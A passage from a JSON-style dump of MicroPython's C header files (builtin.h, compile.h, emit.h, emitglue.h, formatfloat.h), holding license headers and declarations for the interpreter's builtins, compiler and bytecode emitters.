*args);\n\nMP_DECLARE_CONST_FUN_OBJ_VAR(mp_builtin___build_class___obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin___import___obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin___repl_print___obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_abs_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_all_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_any_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_bin_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_callable_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_compile_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_chr_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_delattr_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_dir_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_divmod_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_eval_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_exec_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_execfile_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_getattr_obj);\nMP_DECLARE_CONST_FUN_OBJ_3(mp_builtin_setattr_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(mp_builtin_globals_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_hasattr_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_hash_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_help_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_hex_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_id_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_isinstance_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_builtin_issubclass_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_iter_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_len_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(mp_builtin_locals_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_max_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_min_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_next_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_oct_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_ord_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_pow_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_print_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_builtin_repr_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_round_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_sorted_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_sum_obj);\n// Defined by a port, but declared here for simplicity\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_input_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(mp_builtin_open_obj);\n\nMP_DECLARE_CONST_FUN_OBJ_2(mp_namedtuple_obj);\n\nMP_DECLARE_CONST_FUN_OBJ_2(mp_op_contains_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_op_getitem_obj);\nMP_DECLARE_CONST_FUN_OBJ_3(mp_op_setitem_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_op_delitem_obj);\n\nextern const mp_obj_module_t mp_module___main__;\nextern const mp_obj_module_t mp_module_builtins;\nextern const mp_obj_module_t mp_module_array;\nextern const mp_obj_module_t mp_module_collections;\nextern const mp_obj_module_t mp_module_io;\nextern const mp_obj_module_t mp_module_math;\nextern const mp_obj_module_t mp_module_cmath;\nextern const mp_obj_module_t mp_module_micropython;\nextern const mp_obj_module_t mp_module_ustruct;\nextern const mp_obj_module_t mp_module_sys;\nextern const mp_obj_module_t mp_module_gc;\nextern const mp_obj_module_t mp_module_thread;\n\nextern const mp_obj_dict_t mp_module_builtins_globals;\n\n// extmod modules\nextern const mp_obj_module_t mp_module_uerrno;\nextern const mp_obj_module_t mp_module_uctypes;\nextern const mp_obj_module_t mp_module_uzlib;\nextern const mp_obj_module_t mp_module_ujson;\nextern const mp_obj_module_t mp_module_ure;\nextern const mp_obj_module_t mp_module_uheapq;\nextern const mp_obj_module_t mp_module_uhashlib;\nextern const mp_obj_module_t mp_module_ubinascii;\nextern const mp_obj_module_t mp_module_urandom;\nextern const mp_obj_module_t mp_module_uselect;\nextern const mp_obj_module_t mp_module_ussl;\nextern const mp_obj_module_t mp_module_utimeq;\nextern const mp_obj_module_t mp_module_machine;\nextern const mp_obj_module_t mp_module_lwip;\nextern const mp_obj_module_t mp_module_websocket;\nextern const mp_obj_module_t mp_module_webrepl;\nextern const mp_obj_module_t mp_module_framebuf;\nextern const mp_obj_module_t mp_module_btree;\n\nextern const char *MICROPY_PY_BUILTINS_HELP_TEXT;\n\n#endif // MICROPY_INCLUDED_PY_BUILTIN_H\n"
  },
  {
    "path": "micropython/inc/py/compile.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_COMPILE_H\n#define MICROPY_INCLUDED_PY_COMPILE_H\n\n#include \"py/lexer.h\"\n#include \"py/parse.h\"\n#include \"py/emitglue.h\"\n\n// These must fit in 8 bits; see scope.h\nenum {\n    MP_EMIT_OPT_NONE,\n    MP_EMIT_OPT_BYTECODE,\n    MP_EMIT_OPT_NATIVE_PYTHON,\n    MP_EMIT_OPT_VIPER,\n    MP_EMIT_OPT_ASM,\n};\n\n// the compiler will raise an exception if an error occurred\n// the compiler will clear the parse tree before it returns\nmp_obj_t mp_compile(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl);\n\n#if MICROPY_PERSISTENT_CODE_SAVE\n// this has the same semantics as mp_compile\nmp_raw_code_t *mp_compile_to_raw_code(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl);\n#endif\n\n// this is implemented in runtime.c\nmp_obj_t mp_parse_compile_execute(mp_lexer_t *lex, mp_parse_input_kind_t parse_input_kind, mp_obj_dict_t *globals, mp_obj_dict_t *locals);\n\n#endif // MICROPY_INCLUDED_PY_COMPILE_H\n"
  },
  {
    "path": "micropython/inc/py/emit.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_EMIT_H\n#define MICROPY_INCLUDED_PY_EMIT_H\n\n#include \"py/lexer.h\"\n#include \"py/scope.h\"\n#include \"py/runtime0.h\"\n\n/* Notes on passes:\n * We don't know exactly the opcodes in pass 1 because they depend on the\n * closing over of variables (LOAD_CLOSURE, BUILD_TUPLE, MAKE_CLOSURE), which\n * depends on determining the scope of variables in each function, and this\n * is not known until the end of pass 1.\n * As a consequence, we don't know the maximum stack size until the end of pass 2.\n * This is problematic for some emitters (x64) since they need to know the maximum\n * stack size to compile the entry to the function, and this affects code size.\n */\n\ntypedef enum {\n    MP_PASS_SCOPE = 1,      // work out id's and their kind, and number of labels\n    MP_PASS_STACK_SIZE = 2, // work out maximum stack size\n    MP_PASS_CODE_SIZE = 3,  // work out code size and label offsets\n    MP_PASS_EMIT = 4,       // emit code\n} pass_kind_t;\n\n#define MP_EMIT_STAR_FLAG_SINGLE (0x01)\n#define MP_EMIT_STAR_FLAG_DOUBLE (0x02)\n\n#define MP_EMIT_BREAK_FROM_FOR (0x8000)\n\n#define MP_EMIT_NATIVE_TYPE_ENABLE (0)\n#define MP_EMIT_NATIVE_TYPE_RETURN (1)\n#define MP_EMIT_NATIVE_TYPE_ARG    (2)\n\ntypedef struct _emit_t emit_t;\n\ntypedef struct _mp_emit_method_table_id_ops_t {\n    void (*fast)(emit_t *emit, qstr qst, mp_uint_t local_num);\n    void (*deref)(emit_t *emit, qstr qst, mp_uint_t local_num);\n    void (*name)(emit_t *emit, qstr qst);\n    void (*global)(emit_t *emit, qstr qst);\n} mp_emit_method_table_id_ops_t;\n\ntypedef struct _emit_method_table_t {\n    void (*set_native_type)(emit_t *emit, mp_uint_t op, mp_uint_t arg1, qstr arg2);\n    void (*start_pass)(emit_t *emit, pass_kind_t pass, scope_t *scope);\n    void (*end_pass)(emit_t *emit);\n    bool (*last_emit_was_return_value)(emit_t *emit);\n    void (*adjust_stack_size)(emit_t *emit, mp_int_t delta);\n    void (*set_source_line)(emit_t *emit, mp_uint_t line);\n\n    mp_emit_method_table_id_ops_t load_id;\n    mp_emit_method_table_id_ops_t store_id;\n    mp_emit_method_table_id_ops_t delete_id;\n\n    void (*label_assign)(emit_t *emit, mp_uint_t l);\n    void (*import_name)(emit_t *emit, qstr qst);\n    void (*import_from)(emit_t *emit, qstr qst);\n    void (*import_star)(emit_t *emit);\n    void (*load_const_tok)(emit_t *emit, mp_token_kind_t tok);\n    void (*load_const_small_int)(emit_t *emit, mp_int_t arg);\n    void (*load_const_str)(emit_t *emit, qstr qst);\n    void (*load_const_obj)(emit_t *emit, mp_obj_t obj);\n    void (*load_null)(emit_t *emit);\n    void (*load_attr)(emit_t *emit, qstr qst);\n    void (*load_method)(emit_t *emit, qstr qst, bool is_super);\n    void (*load_build_class)(emit_t *emit);\n    void (*load_subscr)(emit_t *emit);\n    void (*store_attr)(emit_t *emit, qstr qst);\n    void (*store_subscr)(emit_t *emit);\n    void (*delete_attr)(emit_t *emit, qstr qst);\n    void (*delete_subscr)(emit_t *emit);\n    void (*dup_top)(emit_t *emit);\n    void (*dup_top_two)(emit_t *emit);\n    void (*pop_top)(emit_t *emit);\n    void (*rot_two)(emit_t *emit);\n    void (*rot_three)(emit_t *emit);\n    void (*jump)(emit_t *emit, mp_uint_t label);\n    void (*pop_jump_if)(emit_t *emit, bool cond, mp_uint_t label);\n    void (*jump_if_or_pop)(emit_t *emit, bool cond, mp_uint_t label);\n    void (*break_loop)(emit_t *emit, mp_uint_t label, mp_uint_t except_depth);\n    void (*continue_loop)(emit_t *emit, mp_uint_t label, mp_uint_t except_depth);\n    void (*setup_with)(emit_t *emit, mp_uint_t label);\n    void (*with_cleanup)(emit_t *emit, mp_uint_t label);\n    void (*setup_except)(emit_t *emit, mp_uint_t label);\n    void (*setup_finally)(emit_t *emit, mp_uint_t label);\n    void (*end_finally)(emit_t *emit);\n    void (*get_iter)(emit_t *emit, bool use_stack);\n    void (*for_iter)(emit_t *emit, mp_uint_t label);\n    void (*for_iter_end)(emit_t *emit);\n    void (*pop_block)(emit_t *emit);\n    void (*pop_except)(emit_t *emit);\n    void (*unary_op)(emit_t *emit, mp_unary_op_t op);\n    void (*binary_op)(emit_t *emit, mp_binary_op_t op);\n    void (*build_tuple)(emit_t *emit, mp_uint_t n_args);\n    void (*build_list)(emit_t *emit, mp_uint_t n_args);\n    void (*build_map)(emit_t *emit, mp_uint_t n_args);\n    void (*store_map)(emit_t *emit);\n    #if MICROPY_PY_BUILTINS_SET\n    void (*build_set)(emit_t *emit, mp_uint_t n_args);\n    #endif\n    #if MICROPY_PY_BUILTINS_SLICE\n    void (*build_slice)(emit_t *emit, mp_uint_t n_args);\n    #endif\n    void (*store_comp)(emit_t *emit, scope_kind_t kind, mp_uint_t set_stack_index);\n    void (*unpack_sequence)(emit_t *emit, mp_uint_t n_args);\n    void (*unpack_ex)(emit_t *emit, mp_uint_t n_left, mp_uint_t n_right);\n    void (*make_function)(emit_t *emit, scope_t *scope, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults);\n    void (*make_closure)(emit_t *emit, scope_t *scope, mp_uint_t n_closed_over, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults);\n    void (*call_function)(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags);\n    void (*call_method)(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags);\n    void (*return_value)(emit_t *emit);\n    void (*raise_varargs)(emit_t *emit, mp_uint_t n_args);\n    void (*yield_value)(emit_t *emit);\n    void (*yield_from)(emit_t *emit);\n\n    // these methods are used to control entry to/exit from an exception handler\n    // they may or may not emit code\n    void (*start_except_handler)(emit_t *emit);\n    void (*end_except_handler)(emit_t *emit);\n} emit_method_table_t;\n\nvoid mp_emit_common_get_id_for_load(scope_t *scope, qstr qst);\nvoid mp_emit_common_get_id_for_modification(scope_t *scope, qstr qst);\nvoid mp_emit_common_id_op(emit_t *emit, const mp_emit_method_table_id_ops_t *emit_method_table, scope_t *scope, qstr qst);\n\nextern const emit_method_table_t emit_bc_method_table;\nextern const emit_method_table_t emit_native_x64_method_table;\nextern const emit_method_table_t emit_native_x86_method_table;\nextern const emit_method_table_t emit_native_thumb_method_table;\nextern const emit_method_table_t emit_native_arm_method_table;\nextern const emit_method_table_t emit_native_xtensa_method_table;\n\nextern const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_load_id_ops;\nextern const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_store_id_ops;\nextern const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_delete_id_ops;\n\nemit_t *emit_bc_new(void);\nemit_t *emit_native_x64_new(mp_obj_t *error_slot, mp_uint_t max_num_labels);\nemit_t *emit_native_x86_new(mp_obj_t *error_slot, mp_uint_t max_num_labels);\nemit_t *emit_native_thumb_new(mp_obj_t *error_slot, mp_uint_t max_num_labels);\nemit_t *emit_native_arm_new(mp_obj_t *error_slot, mp_uint_t max_num_labels);\nemit_t *emit_native_xtensa_new(mp_obj_t *error_slot, mp_uint_t max_num_labels);\n\nvoid emit_bc_set_max_num_labels(emit_t* emit, mp_uint_t max_num_labels);\n\nvoid emit_bc_free(emit_t *emit);\nvoid emit_native_x64_free(emit_t *emit);\nvoid emit_native_x86_free(emit_t *emit);\nvoid emit_native_thumb_free(emit_t *emit);\nvoid emit_native_arm_free(emit_t *emit);\nvoid emit_native_xtensa_free(emit_t *emit);\n\nvoid mp_emit_bc_start_pass(emit_t *emit, pass_kind_t pass, scope_t *scope);\nvoid mp_emit_bc_end_pass(emit_t *emit);\nbool mp_emit_bc_last_emit_was_return_value(emit_t *emit);\nvoid mp_emit_bc_adjust_stack_size(emit_t *emit, mp_int_t delta);\nvoid mp_emit_bc_set_source_line(emit_t *emit, mp_uint_t line);\n\nvoid mp_emit_bc_load_fast(emit_t *emit, qstr qst, mp_uint_t local_num);\nvoid mp_emit_bc_load_deref(emit_t *emit, qstr qst, mp_uint_t local_num);\nvoid mp_emit_bc_load_name(emit_t *emit, qstr qst);\nvoid mp_emit_bc_load_global(emit_t *emit, qstr qst);\nvoid mp_emit_bc_store_fast(emit_t *emit, qstr qst, mp_uint_t local_num);\nvoid mp_emit_bc_store_deref(emit_t *emit, qstr qst, mp_uint_t local_num);\nvoid mp_emit_bc_store_name(emit_t *emit, qstr qst);\nvoid mp_emit_bc_store_global(emit_t *emit, qstr qst);\nvoid mp_emit_bc_delete_fast(emit_t *emit, qstr qst, mp_uint_t local_num);\nvoid mp_emit_bc_delete_deref(emit_t *emit, qstr qst, mp_uint_t local_num);\nvoid mp_emit_bc_delete_name(emit_t *emit, qstr qst);\nvoid mp_emit_bc_delete_global(emit_t *emit, qstr qst);\n\nvoid mp_emit_bc_label_assign(emit_t *emit, mp_uint_t l);\nvoid mp_emit_bc_import_name(emit_t *emit, qstr qst);\nvoid mp_emit_bc_import_from(emit_t *emit, qstr qst);\nvoid mp_emit_bc_import_star(emit_t *emit);\nvoid mp_emit_bc_load_const_tok(emit_t *emit, mp_token_kind_t tok);\nvoid mp_emit_bc_load_const_small_int(emit_t *emit, mp_int_t arg);\nvoid mp_emit_bc_load_const_str(emit_t *emit, qstr qst);\nvoid mp_emit_bc_load_const_obj(emit_t *emit, mp_obj_t obj);\nvoid mp_emit_bc_load_null(emit_t *emit);\nvoid mp_emit_bc_load_attr(emit_t *emit, qstr qst);\nvoid mp_emit_bc_load_method(emit_t *emit, qstr qst, bool is_super);\nvoid mp_emit_bc_load_build_class(emit_t *emit);\nvoid mp_emit_bc_load_subscr(emit_t *emit);\nvoid mp_emit_bc_store_attr(emit_t *emit, qstr qst);\nvoid mp_emit_bc_store_subscr(emit_t *emit);\nvoid mp_emit_bc_delete_attr(emit_t *emit, qstr qst);\nvoid mp_emit_bc_delete_subscr(emit_t *emit);\nvoid mp_emit_bc_dup_top(emit_t *emit);\nvoid mp_emit_bc_dup_top_two(emit_t *emit);\nvoid mp_emit_bc_pop_top(emit_t *emit);\nvoid mp_emit_bc_rot_two(emit_t *emit);\nvoid mp_emit_bc_rot_three(emit_t *emit);\nvoid mp_emit_bc_jump(emit_t *emit, mp_uint_t label);\nvoid mp_emit_bc_pop_jump_if(emit_t *emit, bool cond, mp_uint_t label);\nvoid mp_emit_bc_jump_if_or_pop(emit_t *emit, bool cond, mp_uint_t label);\nvoid mp_emit_bc_unwind_jump(emit_t *emit, mp_uint_t label, mp_uint_t except_depth);\n#define mp_emit_bc_break_loop mp_emit_bc_unwind_jump\n#define mp_emit_bc_continue_loop mp_emit_bc_unwind_jump\nvoid mp_emit_bc_setup_with(emit_t *emit, mp_uint_t label);\nvoid mp_emit_bc_with_cleanup(emit_t *emit, mp_uint_t label);\nvoid mp_emit_bc_setup_except(emit_t *emit, mp_uint_t label);\nvoid mp_emit_bc_setup_finally(emit_t *emit, mp_uint_t label);\nvoid mp_emit_bc_end_finally(emit_t *emit);\nvoid mp_emit_bc_get_iter(emit_t *emit, bool use_stack);\nvoid mp_emit_bc_for_iter(emit_t *emit, mp_uint_t label);\nvoid mp_emit_bc_for_iter_end(emit_t *emit);\nvoid mp_emit_bc_pop_block(emit_t *emit);\nvoid mp_emit_bc_pop_except(emit_t *emit);\nvoid mp_emit_bc_unary_op(emit_t *emit, mp_unary_op_t op);\nvoid mp_emit_bc_binary_op(emit_t *emit, mp_binary_op_t op);\nvoid mp_emit_bc_build_tuple(emit_t *emit, mp_uint_t n_args);\nvoid mp_emit_bc_build_list(emit_t *emit, mp_uint_t n_args);\nvoid mp_emit_bc_build_map(emit_t *emit, mp_uint_t n_args);\nvoid mp_emit_bc_store_map(emit_t *emit);\n#if MICROPY_PY_BUILTINS_SET\nvoid mp_emit_bc_build_set(emit_t *emit, mp_uint_t n_args);\n#endif\n#if MICROPY_PY_BUILTINS_SLICE\nvoid mp_emit_bc_build_slice(emit_t *emit, mp_uint_t n_args);\n#endif\nvoid mp_emit_bc_store_comp(emit_t *emit, scope_kind_t kind, mp_uint_t list_stack_index);\nvoid mp_emit_bc_unpack_sequence(emit_t *emit, mp_uint_t n_args);\nvoid mp_emit_bc_unpack_ex(emit_t *emit, mp_uint_t n_left, mp_uint_t n_right);\nvoid mp_emit_bc_make_function(emit_t *emit, scope_t *scope, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults);\nvoid mp_emit_bc_make_closure(emit_t *emit, scope_t *scope, mp_uint_t n_closed_over, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults);\nvoid mp_emit_bc_call_function(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags);\nvoid mp_emit_bc_call_method(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags);\nvoid mp_emit_bc_return_value(emit_t *emit);\nvoid mp_emit_bc_raise_varargs(emit_t *emit, mp_uint_t n_args);\nvoid mp_emit_bc_yield_value(emit_t *emit);\nvoid mp_emit_bc_yield_from(emit_t *emit);\nvoid mp_emit_bc_start_except_handler(emit_t *emit);\nvoid mp_emit_bc_end_except_handler(emit_t *emit);\n\ntypedef struct _emit_inline_asm_t emit_inline_asm_t;\n\ntypedef struct _emit_inline_asm_method_table_t {\n    void (*start_pass)(emit_inline_asm_t *emit, pass_kind_t pass, mp_obj_t *error_slot);\n    void (*end_pass)(emit_inline_asm_t *emit, mp_uint_t type_sig);\n    mp_uint_t (*count_params)(emit_inline_asm_t *emit, const byte *p, const byte *ptop);\n    bool (*label)(emit_inline_asm_t *emit, mp_uint_t label_num, qstr label_id);\n    void (*op)(emit_inline_asm_t *emit, qstr op, mp_uint_t n_args, const byte **pn_args);\n} emit_inline_asm_method_table_t;\n\nextern const emit_inline_asm_method_table_t emit_inline_thumb_method_table;\nextern const emit_inline_asm_method_table_t emit_inline_xtensa_method_table;\n\nemit_inline_asm_t *emit_inline_thumb_new(mp_uint_t *co_data, mp_uint_t max_num_labels);\nemit_inline_asm_t *emit_inline_xtensa_new(mp_uint_t max_num_labels);\n\nvoid emit_inline_thumb_free(emit_inline_asm_t *emit);\nvoid emit_inline_xtensa_free(emit_inline_asm_t *emit);\n\n#if MICROPY_WARNINGS\nvoid mp_emitter_warning(pass_kind_t pass, const char *msg);\n#else\n#define mp_emitter_warning(pass, msg)\n#endif\n\n#endif // MICROPY_INCLUDED_PY_EMIT_H\n"
  },
  {
    "path": "micropython/inc/py/emitglue.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_EMITGLUE_H\n#define MICROPY_INCLUDED_PY_EMITGLUE_H\n\n#include \"py/obj.h\"\n\n// These variables and functions glue the code emitters to the runtime.\n\ntypedef enum {\n    MP_CODE_UNUSED,\n    MP_CODE_RESERVED,\n    MP_CODE_BYTECODE,\n    MP_CODE_NATIVE_PY,\n    MP_CODE_NATIVE_VIPER,\n    MP_CODE_NATIVE_ASM,\n} mp_raw_code_kind_t;\n\ntypedef struct _mp_raw_code_t {\n    mp_raw_code_kind_t kind : 3;\n    mp_uint_t scope_flags : 7;\n    mp_uint_t n_pos_args : 11;\n    union {\n        struct {\n            const byte *bytecode;\n            const mp_uint_t *const_table;\n            #if MICROPY_PERSISTENT_CODE_SAVE\n            mp_uint_t bc_len;\n            uint16_t n_obj;\n            uint16_t n_raw_code;\n            #endif\n        } u_byte;\n        struct {\n            void *fun_data;\n            const mp_uint_t *const_table;\n            mp_uint_t type_sig; // for viper, compressed as 2-bit types; ret is MSB, then arg0, arg1, etc\n        } u_native;\n    } data;\n} mp_raw_code_t;\n\nmp_raw_code_t *mp_emit_glue_new_raw_code(void);\n\nvoid mp_emit_glue_assign_bytecode(mp_raw_code_t *rc, const byte *code, mp_uint_t len,\n    const mp_uint_t *const_table,\n    #if MICROPY_PERSISTENT_CODE_SAVE\n    uint16_t n_obj, uint16_t n_raw_code,\n    #endif\n    mp_uint_t scope_flags);\nvoid mp_emit_glue_assign_native(mp_raw_code_t *rc, mp_raw_code_kind_t kind, void *fun_data, mp_uint_t fun_len, const mp_uint_t *const_table, mp_uint_t n_pos_args, mp_uint_t scope_flags, mp_uint_t type_sig);\n\nmp_obj_t mp_make_function_from_raw_code(const mp_raw_code_t *rc, mp_obj_t def_args, mp_obj_t def_kw_args);\nmp_obj_t mp_make_closure_from_raw_code(const mp_raw_code_t *rc, mp_uint_t n_closed_over, const mp_obj_t *args);\n\n#endif // MICROPY_INCLUDED_PY_EMITGLUE_H\n"
  },
  {
    "path": "micropython/inc/py/formatfloat.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_FORMATFLOAT_H\n#define MICROPY_INCLUDED_PY_FORMATFLOAT_H\n\n#include \"py/mpconfig.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT\nint mp_format_float(mp_float_t f, char *buf, size_t bufSize, char fmt, int prec, char sign);\n#endif\n\n#endif // MICROPY_INCLUDED_PY_FORMATFLOAT_H\n"
  },
  {
    "path": "micropython/inc/py/frozenmod.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef 